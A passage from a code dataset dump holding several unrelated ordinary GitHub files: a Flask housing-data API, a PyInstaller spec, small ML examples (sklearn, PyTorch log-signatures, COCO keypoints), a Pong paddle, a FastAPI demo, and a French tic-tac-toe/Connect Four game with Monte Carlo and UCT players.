data_dict[\"property_type\"] = property_type\n data_dict[\"avg_inventory\"] = str(inventory)\n data_dict[\"total_homes_sold\"] = str(homes_sold)\n data_dict[\"avg_median_sale_price\"] = str(median_sale_price)\n data_dict[\"avg_median_ppsf\"] = str(median_ppsf)\n\n all_housing_data.append(data_dict)\n return jsonify(all_housing_data)\n\n@app.route(\"/api/v1.0/merged_data\")\n# @app.route(\"/api/v1.0/merged_data\", methods=['GET', 'POST'])\n@cross_origin(origin='*')\ndef merged():\n # Create our session (link) from Python to the DB\n session = Session(engine)\n\n \"\"\"Return merged data (For now, All Residential property types only)\"\"\"\n # Query all counties\n results = session.query(County.year, County.state, County.county, func.avg(County.inventory), func.sum(County.homes_sold), func.avg(County.median_sale_price), func.avg(County.median_ppsf), Pop.pop_estimate_2019, Pop.pop_estimate_2020, Pop.pop_estimate_2021).group_by(County.year, County.state, County.county,Pop.pop_estimate_2019, Pop.pop_estimate_2020, Pop.pop_estimate_2021).filter(County.property_type == \"All Residential\").join(Pop, (Pop.state == County.state) & (Pop.county == County.county)).all()\n session.close()\n \n # Create a dictionary from the row data and append to a list of all_data\n merged_data = []\n\n for year, state, county, inventory, homes_sold, median_sale_price, median_ppsf, pop_estimate_2019, pop_estimate_2020, pop_estimate_2021 in results:\n merged_dict = {}\n merged_dict[\"year\"] = year\n merged_dict[\"state\"] = state\n merged_dict[\"county\"] = county\n merged_dict[\"avg_inventory\"] = str(inventory)\n merged_dict[\"total_homes_sold\"] = str(homes_sold)\n merged_dict[\"avg_median_sale_price\"] = str(median_sale_price)\n merged_dict[\"avg_median_ppsf\"] = str(median_ppsf)\n merged_dict[\"pop_estimate_2019\"] = pop_estimate_2019\n merged_dict[\"pop_estimate_2020\"] = pop_estimate_2020\n merged_dict[\"pop_estimate_2021\"] = pop_estimate_2021\n\n\n merged_data.append(merged_dict)\n\n # if request.method == 'GET':\n # return jsonify(merged_data) # serialize and use JSON headers\n # # POST request\n # if request.method == 'POST':\n # print(request.get_json()) # parse as JSON\n # return 'Sucesss', 200\n\n # return render_template(\"test_chart.html\", merged_data=merged_data)\n return jsonify(merged_data)\n\n@app.route(\"/api/v1.0/housing_data_2019\")\n@cross_origin(origin='*')\ndef county2019():\n # Create our session (link) from Python to the DB\n session = Session(engine)\n\n \"\"\"Return 2019 data\"\"\"\n # Query all counties\n results = session.query(County.year, County.state, County.county, County.property_type, func.avg(County.inventory), func.sum(County.homes_sold), func.avg(County.median_sale_price), func.avg(County.median_ppsf)).group_by(County.year, County.state, County.county, County.property_type).filter(County.year == '2019').all()\n\n session.close()\n \n # Create a dictionary from the row data and append to a list of all_data\n housing_data_2019 = []\n\n for year, state, county, property_type, inventory, homes_sold, median_sale_price, median_ppsf in results:\n dict2019 = {}\n dict2019[\"year\"] = year\n dict2019[\"state\"] = state\n dict2019[\"county\"] = county\n dict2019[\"property_type\"] = property_type\n dict2019[\"avg_inventory\"] = str(inventory)\n dict2019[\"total_homes_sold\"] = str(homes_sold)\n dict2019[\"avg_median_sale_price\"] = str(median_sale_price)\n dict2019[\"avg_median_ppsf\"] = str(median_ppsf)\n\n housing_data_2019.append(dict2019)\n\n return jsonify(housing_data_2019)\n\n\n@app.route(\"/api/v1.0/housing_data_2020\")\n@cross_origin(origin='*')\ndef county2020():\n # Create our session (link) from Python to the DB\n session = Session(engine)\n\n \"\"\"Return 2020 data\"\"\"\n # Query all counties\n results = session.query(County.year, County.state, County.county, County.property_type, func.avg(County.inventory), func.sum(County.homes_sold), func.avg(County.median_sale_price), func.avg(County.median_ppsf)).group_by(County.year, County.state, County.county, County.property_type).filter(County.year == '2020').all()\n\n session.close()\n \n # Create a dictionary from the row data and append to a list of all_data\n housing_data_2020 = []\n\n for year, state, county, property_type, inventory, homes_sold, median_sale_price, median_ppsf in results:\n dict2020 = {}\n dict2020[\"year\"] = year\n dict2020[\"state\"] = state\n dict2020[\"county\"] = county\n dict2020[\"property_type\"] = property_type\n dict2020[\"avg_inventory\"] = str(inventory)\n dict2020[\"total_homes_sold\"] = str(homes_sold)\n dict2020[\"avg_median_sale_price\"] = str(median_sale_price)\n dict2020[\"avg_median_ppsf\"] = str(median_ppsf)\n\n housing_data_2020.append(dict2020)\n\n return jsonify(housing_data_2020)\n\n\n@app.route(\"/api/v1.0/housing_data_2021\")\n@cross_origin(origin='*')\ndef county2021():\n # Create our session (link) from Python to the DB\n session = Session(engine)\n\n \"\"\"Return 2021 data\"\"\"\n # Query all counties\n results = session.query(County.year, County.state, County.county, County.property_type, func.avg(County.inventory), func.sum(County.homes_sold), func.avg(County.median_sale_price), func.avg(County.median_ppsf)).group_by(County.year, County.state, County.county, County.property_type).filter(County.year == '2021').all()\n\n session.close()\n \n # Create a dictionary from the row data and append to a list of all_data\n housing_data_2021 = []\n\n for year, state, county, property_type, inventory, homes_sold, median_sale_price, median_ppsf in results:\n dict2021 = {}\n dict2021[\"year\"] = year\n dict2021[\"state\"] = state\n dict2021[\"county\"] = county\n dict2021[\"property_type\"] = property_type\n dict2021[\"avg_inventory\"] = str(inventory)\n dict2021[\"total_homes_sold\"] = str(homes_sold)\n dict2021[\"avg_median_sale_price\"] = str(median_sale_price)\n dict2021[\"avg_median_ppsf\"] = str(median_ppsf)\n\n housing_data_2021.append(dict2021)\n return jsonify(housing_data_2021)\n\n@app.route(\"/api/v1.0/state_data\")\n@cross_origin(origin='*')\ndef state_housing_data():\n # Create our session (link) from Python to the DB\n session = Session(engine)\n\n \"\"\"Return merged data (For now, All Residential property types only)\"\"\"\n # Query all counties\n results = session.query(County.year, County.state, County.property_type, func.avg(County.inventory), func.sum(County.homes_sold), func.avg(County.median_sale_price), func.avg(County.median_ppsf)).group_by(County.year, County.state, County.property_type).filter(County.property_type != \"All Residential\").all()\n session.close()\n \n # Create a dictionary from the row data and append to a list of all_data\n state_data = []\n\n for year, state, property_type, inventory, homes_sold, median_sale_price, median_ppsf in results:\n state_dict = {}\n state_dict[\"year\"] = year\n state_dict[\"state\"] = state\n state_dict[\"property_type\"] = property_type\n state_dict[\"avg_inventory\"] = str(inventory)\n state_dict[\"total_homes_sold\"] = str(homes_sold)\n state_dict[\"avg_median_sale_price\"] = str(median_sale_price)\n state_dict[\"avg_median_ppsf\"] = str(median_ppsf)\n\n\n state_data.append(state_dict)\n\n\n return jsonify(state_data)\n\n\n\n@app.route(\"/api/v1.0/property_totals\")\n@cross_origin(origin='*')\ndef properties():\n # Create our session (link) from Python to the DB\n session = Session(engine)\n\n \"\"\"Return properties / homes sold data\"\"\"\n # Query all counties\n results = session.query(County.year, County.property_type, func.sum(County.homes_sold)).group_by(County.year, County.property_type).filter(County.property_type != \"All Residential\").all()\n\n session.close()\n \n # Create a dictionary from the row data and append to a list of all_data\n property_totals = []\n\n for year, property_type, homes_sold in results:\n property_totals_dict = {}\n property_totals_dict[\"year\"] = year\n property_totals_dict[\"property_type\"] = property_type\n property_totals_dict[\"total_homes_sold\"] = str(homes_sold)\n \n\n property_totals.append(property_totals_dict)\n\n return jsonify(property_totals)\n\n\n\n\n\n\n\n\n\n\n\n# Define main behavior\nif __name__ == \"__main__\":\n app.run(debug=True)\n","repo_name":"mbruns13/redfin_housing_data","sub_path":"Code/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":11360,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"36573665333","text":"# -*- mode: python -*-\n#\n# To build executable: $ pyinstaller bindingoffenrir.spec\n\n\n# Write build / version information into executable.\nimport os\nimport datetime\nbuilddatefile = os.path.join('resources', 'builddate')\nwith open(builddatefile, 'w') as f:\n f.write(datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\"))\n\n\nNAME = 'bindingoffenrir'\nASSETS = [('resources', 'resources')]\nCODE = ['bindingoffenrir/main.py']\n\nDEBUG = False\nCONSOLE = DEBUG\n\n\n# Write runtime options into executable.\n# NOTE this is reverted at end of this file.\nfullscreenfile = None\nif os.getenv('FULLSCREEN') == 'true':\n fullscreenfile = os.path.join(NAME, 'fullscreen.py')\n with open(fullscreenfile, 'w') as f:\n f.write('ENABLED = True\\n')\n\n\n# PyInstaller configuration below\n\nblock_cipher = None\na = Analysis(CODE,\n pathex=['.'],\n binaries=[],\n datas=ASSETS,\n hiddenimports=['pygame'],\n hookspath=[],\n runtime_hooks=[],\n excludes=[],\n win_no_prefer_redirects=False,\n win_private_assemblies=False,\n cipher=block_cipher,\n noarchive=False)\npyz = PYZ(a.pure, a.zipped_data,\n cipher=block_cipher)\nexe = EXE(pyz,\n a.scripts,\n a.binaries,\n a.zipfiles,\n a.datas,\n [],\n name=NAME,\n debug=DEBUG,\n bootloader_ignore_signals=False,\n strip=False,\n upx=True,\n runtime_tmpdir=None,\n console=CONSOLE)\n\n# Revert runtime options.\nif fullscreenfile:\n with open(fullscreenfile, 'w') as f:\n f.write('ENABLED = False\\n')\n","repo_name":"nwolfe/gbof","sub_path":"bindingoffenrir.spec","file_name":"bindingoffenrir.spec","file_ext":"spec","file_size_in_byte":1654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37797123232","text":"from sklearn import tree\n\n# //Apple: 0 and Orange: 1\nfeatures = [[140, 1], [130, 1], [150, 0], [170, 0]]\nlabels = [0,0,1,1]\n\n# // Using Decision Modal tree\nclf = tree.DecisionTreeClassifier()\n# // categoring the content i.e feature and labels\nclf = clf.fit(features,labels)\n# // Predict what the output at given value\nprint(clf.predict([[150,0]]))","repo_name":"AkashKumarSingh11032001/Face-Recognition-Application-Using-Python","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25387989058","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.utils.data as torchdata\nimport signatory\n\n\nclass LogSig(torch.nn.Module):\n def __init__(self, in_channels, n_segments, logsig_depth, logsig_channels):\n super(LogSig, self).__init__()\n self.in_channels = in_channels\n self.n_segments = n_segments\n self.logsig_depth = logsig_depth\n\n self.logsignature = signatory.LogSignature(depth=logsig_depth)\n\n self.logsig_channels = logsig_channels\n\n def forward(self, inp):\n # inp is a three dimensional tensor of shape (batch, stream, in_channels)\n nT = inp.size(1)\n dim_path = inp.size(-1)\n t_vec = np.linspace(1, nT, self.n_segments + 1)\n t_vec = [int(round(x)) for x in t_vec]\n\n MultiLevelLogSig = []\n for i in range(self.n_segments):\n MultiLevelLogSig.append(self.logsignature(\n inp[:, t_vec[i] - 1:t_vec[i + 1], :].clone()).unsqueeze(1))\n# print(MultiLevelLogSig.type())\n out = torch.cat(MultiLevelLogSig, axis=1)\n return out\n\n\n\n\nclass sp(torch.nn.Module):\n def __init__(self, n_segments):\n super(sp, self).__init__()\n\n self.n_segments = n_segments\n\n def forward(self, inp):\n nT = inp.size(1)\n t_vec = np.linspace(1, nT, self.n_segments + 1)\n t_vec = [int(round(x)) - 1 for x in t_vec]\n return inp[:, t_vec[:-1]].clone()\n\n\ndef get_time_vector(size, length):\n return torch.linspace(0, 1, length).reshape(1, -1, 1).repeat(size, 1, 1)\n\n\ndef add_time(x, device):\n t = get_time_vector(x.shape[0], x.shape[1]).to(device)\n return torch.cat([x, t], dim=2)\n\n\n","repo_name":"steveliao93/GCN_LogsigRNN","sub_path":"model/logsignature.py","file_name":"logsignature.py","file_ext":"py","file_size_in_byte":1690,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"21"} +{"seq_id":"6244389281","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom common.http_api.base import RequestTranslate, RequestClass\n\n\nclass ServiceAPI:\n \"\"\"base service API request class\n \"\"\"\n\n def __init__(self, service, api):\n \"\"\"\n Init service API class\n :param service: service name\n :param api: api name\n \"\"\"\n self.service = service\n self.api = api\n\n def call(self, uri_param=None, headers=None, params=None, body=None, default_uri_param=True,\n common_headers=True, default_headers=True, common_params=True, default_params=True,\n common_body=True, default_body=True,\n timeout_assert_ms=0, timecost_expect_ms=0):\n \"\"\"\n http request call method\n :param uri_param:\n :param headers:\n :param params:\n :param body:\n :param default_uri_param:\n :param common_headers:\n :param default_headers:\n :param common_params:\n :param default_params:\n :param common_body:\n :param default_body:\n :param timeout_assert_ms: requests timeout params, ms\n :param timecost_expect_ms: request timecost expect, ms\n :return:\n \"\"\"\n req_class = RequestTranslate(dict(service=self.service, api=self.api,\n uri_param=uri_param, default_uri_param=default_uri_param,\n headers=headers, common_headers=common_headers,\n default_headers=default_headers,\n params=params, common_params=common_params,\n default_params=default_params,\n body=body, common_body=common_body,\n default_body=default_body,\n timeout_assert=timeout_assert_ms,\n timecost_expect=timecost_expect_ms))\n return RequestClass(req_class).send()\n\n\n\n","repo_name":"BlueRockCrystal/AutoApiTest","sub_path":"common/http_api/request.py","file_name":"request.py","file_ext":"py","file_size_in_byte":2055,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28475931935","text":"from turtle import Turtle\r\n\r\nMOVE_DISTANCE = 25\r\n\r\n\r\nclass Paddle(Turtle):\r\n def __init__(self, position):\r\n super().__init__()\r\n self.penup()\r\n self.goto(position)\r\n self.shape(\"square\")\r\n self.color(\"white\")\r\n self.shapesize(stretch_wid=5, stretch_len=1)\r\n\r\n def go_up(self):\r\n y_cor = self.ycor()\r\n if y_cor >= 240:\r\n return\r\n new_y = y_cor + MOVE_DISTANCE\r\n self.goto(self.xcor(), new_y)\r\n\r\n def go_down(self):\r\n y_cor = self.ycor()\r\n if y_cor <= -240:\r\n return\r\n new_y = y_cor - MOVE_DISTANCE\r\n self.goto(self.xcor(), new_y)\r\n","repo_name":"GnanaGanesh1999/pong-game","sub_path":"paddle.py","file_name":"paddle.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"38537411724","text":"import json\nimport numpy as np\n\n\ndef get_keypoints(keypoint_path):\n \"\"\"\n\n :param keypoint_path: pathlib.Path or str\n :return: dict\n \"\"\"\n with open(keypoint_path, \"r\") as f:\n keypoints = json.load(f)\n\n image_info = {} # key : image-id value : keypoints\n for image in keypoints[\"images\"]:\n image_info[image[\"id\"]] = [image[\"file_name\"]]\n\n # annotation\n for annotation in keypoints[\"annotations\"]:\n image_id = annotation[\"image_id\"]\n if image_info.get(image_id):\n print(len(annotation[\"keypoints\"]))\n image_info[image_id].append(np.array(annotation[\"keypoints\"]))\n else:\n image_info[image_id].append(None)\n \"\"\"\n http://cocodataset.org/#format-data\n x, y, v\n x and y: location\n v: visibility flag\n - v=0: not labeled (in which case x=y=0)\n - v=1: labeled but not visible\n - v=2: labeled and visible\n \"\"\"\n\n return image_info","repo_name":"wakame1367/pose_estimation","sub_path":"preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"72429351466","text":"from fastapi import FastAPI\nimport uvicorn\nfrom application.routers.routers import init_apis\n\napp = FastAPI(\n docs_url=\"/docs\",\n redoc_url=\"/redoc\",\n openapi_url=\"/openapi.json\",\n version=\"0.1.0\",\n)\n\ninit_apis(app)\n\n\n@app.get('/zong_yu')\ndef zong_yu():\n return {'data':\n {\n 'name': 'zong_yu',\n 'age': '30',\n 'gender': 'male',\n 'profession': 'av actor'\n }\n }\n\n\n@app.get('/yiling')\ndef yiling():\n return {'data':\n {\n 'name': 'yiling',\n 'age': '32',\n 'gender': 'female',\n 'profession': 'Cat Addict'\n }\n }\n\n@app.get('/yulin')\ndef yulin():\n return {'data':\n {\n 'name': 'yulin',\n 'age': '29',\n 'gender': 'male',\n 'profession': 'dog Addict'\n }\n }\n\n\nif __name__ == '__main__':\n uvicorn.run(\"main:app\", host=\"0.0.0.0\", port=8000, reload=True)\n","repo_name":"balao1312/FastAPI_practice","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"35006071188","text":"import numpy as np\nimport copy\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as patches\nimport random\n\n\n## Constante\nOFFSET = 0.2\nNB_PARTIES = 1000\n\nclass State:\n \"\"\" Etat generique d'un jeu de plateau. Le plateau est represente par une matrice de taille NX,NY,\n le joueur courant par 1 ou -1. Une case a 0 correspond a une case libre.\n * next(self,coup) : fait jouer le joueur courant le coup.\n * get_actions(self) : renvoie les coups possibles\n * win(self) : rend 1 si le joueur 1 a gagne, -1 si le joueur 2 a gagne, 0 sinon\n * stop(self) : rend vrai si le jeu est fini.\n * fonction de hashage : renvoie un couple (matrice applatie des cases, joueur courant).\n \"\"\"\n NX,NY = None,None\n def __init__(self,grid=None,courant=None):\n self.grid = copy.deepcopy(grid) if grid is not None else np.zeros((self.NX,self.NY),dtype=\"int\")\n self.courant = courant or 1\n def next(self,coup):\n pass\n def get_actions(self):\n pass\n def win(self):\n pass\n def stop(self):\n pass\n @classmethod\n def fromHash(cls,hash):\n return cls(np.array([int(i)-1 for i in list(hash[0])],dtype=\"int\").reshape((cls.NX,cls.NY)),hash[1])\n def hash(self):\n return (\"\".join(str(x+1) for x in self.grid.flat),self.courant)\n \nclass Jeu:\n \"\"\" Jeu generique, qui prend un etat initial et deux joueurs.\n run(self,draw,pause): permet de joueur une partie, avec ou sans affichage, avec une pause entre chaque coup. \n Rend le joueur qui a gagne et log de la partie a la fin.\n replay(self,log): permet de rejouer un log\n \"\"\"\n def __init__(self,init_state = None,j1=None,j2=None):\n self.joueurs = {1:j1,-1:j2}\n self.state = copy.deepcopy(init_state)\n self.log = None\n def run(self,draw=False,pause=0.5):\n log = []\n if draw:\n self.init_graph()\n while not self.state.stop():\n coup = self.joueurs[self.state.courant].get_action(self.state)\n log.append((self.state,coup))\n self.state = self.state.next(coup)\n if draw:\n self.draw(self.state.courant*-1,coup)\n plt.pause(pause)\n return self.state.win(),log\n def init_graph(self):\n self._dx,self._dy = 1./self.state.NX,1./self.state.NY\n self.fig, self.ax = plt.subplots()\n for i in range(self.state.grid.shape[0]):\n for j in range(self.state.grid.shape[1]):\n self.ax.add_patch(patches.Rectangle((i*self._dx,j*self._dy),self._dx,self._dy,\\\n linewidth=1,fill=False,color=\"black\"))\n plt.show(block=False)\n def draw(self,joueur,coup):\n color = \"red\" if joueur>0 else \"blue\"\n self.ax.add_patch(patches.Rectangle(((coup[0]+OFFSET)*self._dx,(coup[1]+OFFSET)*self._dy),\\\n self._dx*(1-2*OFFSET),self._dy*(1-2*OFFSET),linewidth=1,fill=True,color=color))\n plt.draw()\n def replay(self,log,pause=0.5):\n self.init_graph()\n for state,coup in log:\n self.draw(state.courant,coup)\n plt.pause(pause)\n\nclass MorpionState(State):\n \"\"\" Implementation d'un etat du jeu du Morpion. Grille de 3X3. \n \"\"\"\n NX,NY = 3,3\n def __init__(self,grid=None,courant=None):\n super(MorpionState,self).__init__(grid,courant)\n def next(self,coup):\n state = MorpionState(self.grid,self.courant)\n state.grid[coup]=self.courant\n state.courant *=-1\n return state\n def get_actions(self):\n return list(zip(*np.where(self.grid==0)))\n def win(self):\n for i in [-1,1]:\n if ((i*self.grid.sum(0))).max()==3 or ((i*self.grid.sum(1))).max()==3 or ((i*self.grid)).trace().max()==3 or ((i*np.fliplr(self.grid))).trace().max()==3: return i\n return 0\n def stop(self):\n return self.win()!=0 or (self.grid==0).sum()==0\n def __repr__(self):\n return str(self.hash())\n\nclass PuissanceQuatre(State):\n \"\"\"\n On implemente le jeu de puissance 4, avec les dimensions traditionnelles de 6 lignes et 7 colonnes\n \"\"\"\n NX,NY = 7,6\n def __init__(self,grid=None,courant=None):\n super(PuissanceQuatre,self).__init__(grid,courant)\n\n def next(self,coup):\n state = PuissanceQuatre(self.grid,self.courant)\n state.grid[coup] = self.courant\n state.courant *= -1 # Ca sera le tour au deuxieme joueur de jouer\n return state\n\n def get_actions(self):\n actionsPossibles = []\n for i in range(7):\n for j in range(6):\n if (self.grid[i][j] == 0):\n actionsPossibles.append((i,j))\n break\n return actionsPossibles\n\n def win(self):\n z = -self.courant # On regarde le joueur suivant\n Plate = np.zeros((self.NX + 8, self.NY + 8))\n Plate[4:4 + self.NX, 4:4 + self.NY] = self.grid\n for i in range(self.NX):\n for j in range(self.NY):\n if (Plate[i + 4, j + 4] == z):\n streak = 1\n for k in range(1, 4):\n if (Plate[i + 4 + k, j + 4] == z): # On regarde si on a empilé 4 jetons\n streak += 1\n if (streak == 4):\n return z\n streak = 1\n for k in range(1, 4):\n if (Plate[i + 4, j + 4 + k] == z): # On regarde si on a aligné 4 jetons\n streak += 1\n if (streak == 4):\n return z\n streak = 1\n for k in range(1, 4):\n if (Plate[i + 4 + k, j + 4 + k] == z): # on regarde si on a une diagonale vers la droite\n streak += 1\n if (streak == 4):\n return z\n streak = 1\n for k in range(1, 4):\n if (Plate[i + 4 + k, j + 4 - k] == z): #on regarde si on a une diagonale vers la gauche\n streak += 1\n if (streak == 4):\n return z\n\n return 0\n\n def stop(self):\n return self.win() != 0 or (self.grid == 0).sum() == 0\n\n def __repr__(self):\n return str(self.hash())\n\nclass Agent:\n \"\"\" Classe d'agent generique. Necessite une methode get_action qui renvoie l'action correspondant a l'etat du jeu state\"\"\"\n def __init__(self):\n pass\n def get_action(self,state):\n pass\n\nclass JoueurAlea(Agent):\n \"\"\"\n On cree un joueur qui va jouer aleatoirement\n \"\"\"\n\n def __init__(self):\n super(JoueurAlea,self).__init__()\n \n def get_action(self,state):\n actions = state.get_actions()\n return actions[random.randint(0, len(actions) - 1 )]\n\nclass JoueurMonteCarlo(Agent):\n def __init__(self,MClong):\n super(JoueurMonteCarlo,self).__init__()\n self.MClong = MClong\n\n def get_action(self,state):\n actions = state.get_actions()\n recomp = np.zeros(len(actions)) # on initialise le tableau de récompenses a 0\n\n for i in range(self.MClong):\n newState = copy.deepcopy(state) # On veut pas recopier sur les valeurs originales\n indiceNextAct = random.randint(0, len(actions) - 1)\n nextAct = actions[indiceNextAct]\n\n newState = newState.next(nextAct)\n\n J1 = JoueurAlea()\n J2 = JoueurAlea()\n Game = Jeu(newState,J1,J2)\n Winner,Log = Game.run()\n recomp[indiceNextAct] += state.courant * Winner ## On mets à jour la récompense pour la case qu'on a joue\n\n return actions[np.argmax(recomp)] # On retourne l'action avec la proba la plus elevee@\n\n\nclass JoueurUCBTree(Agent):\n def __init__(self, UCT_number =10):\n super(JoueurUCBTree, self).__init__()\n self.UCT_number = UCT_number\n\n def get_action(self, state):\n tree = Noeud(state)\n\n for i in range(self.UCT_number):\n branch = tree\n while (branch != None):\n if (branch.fils == []):\n branch.expansion()\n branch.developpement_noeud()\n branch = self.UCB_Tree(branch.fils)\n\n actions = self.UCB_Tree(tree.fils)\n return actions.coup\n\n def UCB_Tree(self, liste_fils):\n \"\"\"On applique UCB aux Tree, fils est une list\n \"\"\"\n # Initialisation\n if (liste_fils == []):\n return None\n nbWinFils = []\n nbPlayedFils= []\n for fils in liste_fils:\n nbWinFils.append(fils.nb_victoire)\n nbPlayedFils.append(fils.nb_joue)\n\n t = sum(nbPlayedFils)\n currentWin = []\n\n for i, j in zip(nbWinFils, nbPlayedFils):\n if j == 0:\n currentWin.append(9999) # On mets un nombre tres grand puisque il n'y a aucun joueur\n else:\n currentWin.append((i / j) + np.sqrt((2 * np.log(t)) / j))\n return liste_fils[np.argmax(currentWin)]\n\n\nclass Noeud():\n def __init__(self, state, coup=0, pere=None):\n self.nb_victoire = 0\n self.nb_joue = 0\n self.pere = pere\n self.state = state\n self.coup = coup\n self.fils = []\n\n def expansion(self):\n for coup in self.state.get_actions():\n son_state = self.state.next(coup)\n self.fils.append(Noeud(son_state, coup, self))\n\n def developpement_noeud(self):\n \"\"\"simulation\"\"\"\n # faire comme monte carlo pour avoir le developpement\n # pour chacun des fils\n for fils in self.fils:\n A = JoueurAlea()\n B = JoueurAlea()\n J = Jeu(fils.state, A, B)\n Winner, Log = J.run()\n # victoire = max(0, self.state.courant*Log[0])\n self.backpropagation(fils, Winner)\n\n def backpropagation(self, fils, winnerValue):\n \"\"\"Donner a tous les peres de ce noeud le resultat du developpement\n \"\"\"\n Noeud_courant = fils\n\n while (Noeud_courant != None):\n victoire = max(0, -Noeud_courant.state.courant * winnerValue)\n Noeud_courant.nb_victoire += victoire\n Noeud_courant.nb_joue += 1\n Noeud_courant = Noeud_courant.pere\n\n\n#### TESTS\n\n# TEST 1 POUR JOUEUR ALEATOIRE\n\"\"\"\n\njoueur1 = JoueurAlea()\njoueur2 = JoueurAlea()\n\nnbWinJ1 = 0\nnbWinJ2 = 0\nndDraw = 0\n\nmoyenneJ1 = []\nmoyenneJ2 = []\n\n\nfor i in range(NB_PARTIES):\n plate = MorpionState()\n game = Jeu(plate,joueur1,joueur2)\n result = game.run(False)[0]\n if(result == 1) :\n nbWinJ1 += 1\n elif (result == -1):\n nbWinJ2 += 1\n else:\n ndDraw += 1\n moyenneJ1.append(nbWinJ1/float(nbWinJ1+nbWinJ2+ndDraw))\n moyenneJ2.append(nbWinJ2/float(nbWinJ1+nbWinJ2+ndDraw))\n print(nbWinJ1,nbWinJ2,ndDraw)\n\nplt.plot(range(NB_PARTIES), moyenneJ1,label =\"Esperance de J1\") # GRAPHE POUR LES JOUEURS QUI JOUENT AU HAZARD\nplt.plot(range(NB_PARTIES), moyenneJ2,label =\"Esperance de J2\") # GRAPHE POUR LES JOUEURS QUI JOUENT AU HAZARD\n\nplt.legend()\nplt.title(\"Comparaison des moyennes des deux joueurs\")\n\nplt.show()\n\n\"\"\"\n\n# TEST 2 : MONTE-CARLO ET ALEATOIRE\n\"\"\"\n\nJ1 = JoueurMonteCarlo(20)\n\nJ2 = JoueurAlea()\n\nnbWinJ1 = 0\nnbWinJ2 = 0\nnbDraw = 0\n\nmoyenneJ1 = []\nmoyenneJ2 = []\n\nfor i in range(NB_PARTIES):\n plate = MorpionState()\n game = Jeu(plate,J1,J2)\n result = game.run(False)[0]\n if(result == 1) :\n nbWinJ1 += 1\n elif (result == -1):\n nbWinJ2 += 1\n else:\n nbDraw += 1\n moyenneJ1.append(nbWinJ1/float(nbWinJ1+nbWinJ2+nbDraw))\n moyenneJ2.append(nbWinJ2/float(nbWinJ1+nbWinJ2+nbDraw))\n print(nbWinJ1,nbWinJ2,nbDraw)\n\n\nplt.plot(range(NB_PARTIES), moyenneJ1,label =\"Esperance de J1\") # GRAPHE POUR MONTE CARLO ET ALEATOIRE\nplt.plot(range(NB_PARTIES), moyenneJ2,label =\"Esperance de J2\") # GRAPHE POUR MONTE CARLO ET ALEATOIRE\n\nplt.legend()\nplt.title(\"Comparaison du joueur M-C et aleatoire\")\n\nplt.show()\n\n\"\"\"\n\n## TEST 3 MONTE CARLO ET MONTE CARLO\n\n\"\"\"\nJ1 = JoueurMonteCarlo(20)\n\nJ2 = JoueurMonteCarlo(20)\n\nnbWinJ1 = 0\nnbWinJ2 = 0\nnbDraw = 0\n\nmoyenneJ1 = []\nmoyenneJ2 = []\n\nfor i in range(NB_PARTIES):\n plate = MorpionState()\n game = Jeu(plate,J1,J2)\n result = game.run(True)[0]\n if(result == 1) :\n nbWinJ1 += 1\n elif (result == -1):\n nbWinJ2 += 1\n else:\n nbDraw += 1\n moyenneJ1.append(nbWinJ1/float(nbWinJ1+nbWinJ2+nbDraw))\n moyenneJ2.append(nbWinJ2/float(nbWinJ1+nbWinJ2+nbDraw))\n print(nbWinJ1,nbWinJ2,nbDraw)\n\n\nplt.plot(range(NB_PARTIES), moyenneJ1,label =\"Esperance de J1\") # GRAPHE POUR MONTE CARLO ET LUI MEME\nplt.plot(range(NB_PARTIES), moyenneJ2,label =\"Esperance de J2\") # GRAPHE POUR MONTE CARLO ET LUI MEME\n\nplt.legend()\nplt.title(\"Comparaison de deux joueurs M-C\")\n\nplt.show()\n\"\"\"\n\n## TEST (PUISSANCE) 4...\n\n#\"\"\"\nJ1 = JoueurMonteCarlo(10)\nJ2 = JoueurMonteCarlo(5)\n\nnbWinJ1 = 0\nnbWinJ2 = 0\nndDraw = 0\n\nmoyenneJ1 = []\nmoyenneJ2 = []\n\n\nfor i in range(NB_PARTIES):\n FourInRow = PuissanceQuatre()\n game = Jeu(FourInRow,J1,J2)\n result = game.run(False)[0]\n if(result == 1) :\n nbWinJ1 += 1\n elif (result == -1):\n nbWinJ2 += 1\n else:\n ndDraw += 1\n moyenneJ1.append(nbWinJ1/float(nbWinJ1+nbWinJ2+ndDraw))\n moyenneJ2.append(nbWinJ2/float(nbWinJ1+nbWinJ2+ndDraw))\n print(nbWinJ1,nbWinJ2,ndDraw)\n\nplt.plot(range(NB_PARTIES), moyenneJ1,label =\"Esperance de MC(10)\") # GRAPHE POUR LES JOUEURS QUI JOUENT AU HAZARD\nplt.plot(range(NB_PARTIES), moyenneJ2,label =\"Esperance de MC(5)\") # GRAPHE POUR LES JOUEURS QUI JOUENT AU HAZARD\n\nplt.legend()\n#plt.title(\"Comparaison des moyennes des deux joueurs\")\n\nplt.show()\n#\"\"\"\n\n# TEST 5 : UCB ET ALEA\n\n\"\"\"\nJ1 = JoueurUCBTree(10)\n\nJ2 = JoueurAlea()\n\nnbWinJ1 = 0\nnbWinJ2 = 0\nnbDraw = 0\n\nmoyenneJ1 = []\nmoyenneJ2 = []\n\nfor i in range(NB_PARTIES):\n plate = MorpionState()\n game = Jeu(plate,J1,J2)\n result = game.run(False)[0]\n if(result == 1) :\n nbWinJ1 += 1\n elif (result == -1):\n nbWinJ2 += 1\n 